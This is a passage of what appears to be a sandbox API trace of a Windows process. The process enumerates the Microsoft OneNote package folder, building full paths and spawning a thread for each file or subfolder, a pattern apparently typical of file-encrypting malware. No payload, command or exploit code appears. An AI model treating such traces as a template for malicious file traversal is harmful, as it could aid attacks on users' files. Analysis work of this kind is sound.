	[0093.682] wcscat (in: _Dest=0x4fce438, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4fce438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b8
	[0093.683] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59460ee7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x59487137, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x59487137, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0093.683] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0093.683] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0093.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4fcd398
	[0093.683] wcscpy (in: _Dest=0x4fcd398, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.683] wcscat (in: _Dest=0x4fcd398, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.683] wcscat (in: _Dest=0x4fcd398, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0093.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4fcd398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b4
	[0093.683] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594ad391, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaef981fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x594ad391, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.684] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.684] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.684] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12248
	[0093.684] wcscpy (in: _Dest=0x2e12248, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.684] wcscat (in: _Dest=0x2e12248, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.684] wcscat (in: _Dest=0x2e12248, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0093.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e12248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b0
	[0093.684] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594ad391, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x594ad391, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x594ad391, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.684] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.684] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.684] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4fce0b8
	[0093.684] wcscpy (in: _Dest=0x4fce0b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.684] wcscat (in: _Dest=0x4fce0b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.685] wcscat (in: _Dest=0x4fce0b8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4fce0b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ac
	[0093.685] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597d8220, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x597fe479, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x597fe479, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x82c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="autstbim.dll", cAlternateFileName="")) returned 1
	[0093.685] wcscmp (_String1="autstbim.dll", _String2=".") returned 1
	[0093.685] wcscmp (_String1="autstbim.dll", _String2="..") returned 1
	[0093.685] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597fe479, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x59898ce3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x59898ce3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x161ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpprestsdk_winapp.dll", cAlternateFileName="")) returned 1
	[0093.685] wcscmp (_String1="cpprestsdk_winapp.dll", _String2=".") returned 1
	[0093.685] wcscmp (_String1="cpprestsdk_winapp.dll", _String2="..") returned 1
	[0093.685] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59898ce3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x59b93c35, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x59b93c35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7c02c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiImm.dll", cAlternateFileName="")) returned 1
	[0093.685] wcscmp (_String1="CsiImm.dll", _String2=".") returned 1
	[0093.685] wcscmp (_String1="CsiImm.dll", _String2="..") returned 1
	[0093.685] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59b93c35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x59b93c35, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x59b93c35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="diff_match_patch_uwp.dll", cAlternateFileName="")) returned 1
	[0093.685] wcscmp (_String1="diff_match_patch_uwp.dll", _String2=".") returned 1
	[0093.685] wcscmp (_String1="diff_match_patch_uwp.dll", _String2="..") returned 1
	[0093.685] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b93c35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf014f53, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59c527fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0093.685] wcscmp (_String1="en-gb", _String2=".") returned 1
	[0093.685] wcscmp (_String1="en-gb", _String2="..") returned 1
	[0093.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47700a0
	[0093.686] wcscpy (in: _Dest=0x47700a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.686] wcscat (in: _Dest=0x47700a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.686] wcscat (in: _Dest=0x47700a0, _Source="en-gb" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\en-gb") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\en-gb"
	[0093.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47700a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a8
	[0093.686] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c527fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf0838ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59e1c43f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1
	[0093.686] wcscmp (_String1="en-us", _String2=".") returned 1
	[0093.686] wcscmp (_String1="en-us", _String2="..") returned 1
	[0093.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770c58
	[0093.686] wcscpy (in: _Dest=0x4770c58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.686] wcscat (in: _Dest=0x4770c58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.686] wcscat (in: _Dest=0x4770c58, _Source="en-us" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\en-us") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\en-us"
	[0093.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a4
	[0093.687] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e4269d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf086b6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59e4269d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="font", cAlternateFileName="")) returned 1
	[0093.687] wcscmp (_String1="font", _String2=".") returned 1
	[0093.687] wcscmp (_String1="font", _String2="..") returned 1
	[0093.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476f998
	[0093.687] wcscpy (in: _Dest=0x476f998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.688] wcscat (in: _Dest=0x476f998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.688] wcscat (in: _Dest=0x476f998, _Source="font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\font") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\font"
	[0093.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476f998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0
	[0093.688] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e4269d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf0873c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59e4269d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1
	[0093.688] wcscmp (_String1="fonts", _String2=".") returned 1
	[0093.688] wcscmp (_String1="fonts", _String2="..") returned 1
	[0093.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770de8
	[0093.688] wcscpy (in: _Dest=0x4770de8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.688] wcscat (in: _Dest=0x4770de8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.688] wcscat (in: _Dest=0x4770de8, _Source="fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\fonts"
	[0093.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x109c
	[0093.689] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e4269d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5a00c2e3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5a00c2e3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x38dac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="iacom2im.dll", cAlternateFileName="")) returned 1
	[0093.689] wcscmp (_String1="iacom2im.dll", _String2=".") returned 1
	[0093.689] wcscmp (_String1="iacom2im.dll", _String2="..") returned 1
	[0093.689] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a00c2e3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf19691b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b6b3675, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0093.689] wcscmp (_String1="images", _String2=".") returned 1
	[0093.689] wcscmp (_String1="images", _String2="..") returned 1
	[0093.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4770eb0
	[0093.689] wcscpy (in: _Dest=0x4770eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.689] wcscat (in: _Dest=0x4770eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.689] wcscat (in: _Dest=0x4770eb0, _Source="images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\images"
	[0093.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1098
	[0093.690] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b6b3675, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf3b4e8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b6d8db2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jscripts", cAlternateFileName="")) returned 1
	[0093.690] wcscmp (_String1="jscripts", _String2=".") returned 1
	[0093.690] wcscmp (_String1="jscripts", _String2="..") returned 1
	[0093.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4719050
	[0093.690] wcscpy (in: _Dest=0x4719050, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.690] wcscat (in: _Dest=0x4719050, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.690] wcscat (in: _Dest=0x4719050, _Source="jscripts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\jscripts") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\jscripts"
	[0093.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4719050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1094
	[0093.691] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b6d8db2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf3b57d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b6d8db2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1
	[0093.691] wcscmp (_String1="manifests", _String2=".") returned 1
	[0093.691] wcscmp (_String1="manifests", _String2="..") returned 1
	[0093.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47189d0
	[0093.691] wcscpy (in: _Dest=0x47189d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.691] wcscat (in: _Dest=0x47189d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.691] wcscat (in: _Dest=0x47189d0, _Source="manifests" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\manifests") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\manifests"
	[0093.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47189d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1090
	[0093.692] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b6d8db2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5b74b4f1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5b74b4f1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x14e4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Applications.Telemetry.Windows.dll", cAlternateFileName="")) returned 1
	[0093.692] wcscmp (_String1="Microsoft.Applications.Telemetry.Windows.dll", _String2=".") returned 1
	[0093.692] wcscmp (_String1="Microsoft.Applications.Telemetry.Windows.dll", _String2="..") returned 1
	[0093.692] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd1ed095d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd1ed095d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1ed095d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.692] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.692] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776f60
	[0093.693] wcscpy (in: _Dest=0x4776f60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.693] wcscat (in: _Dest=0x4776f60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.693] wcscat (in: _Dest=0x4776f60, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
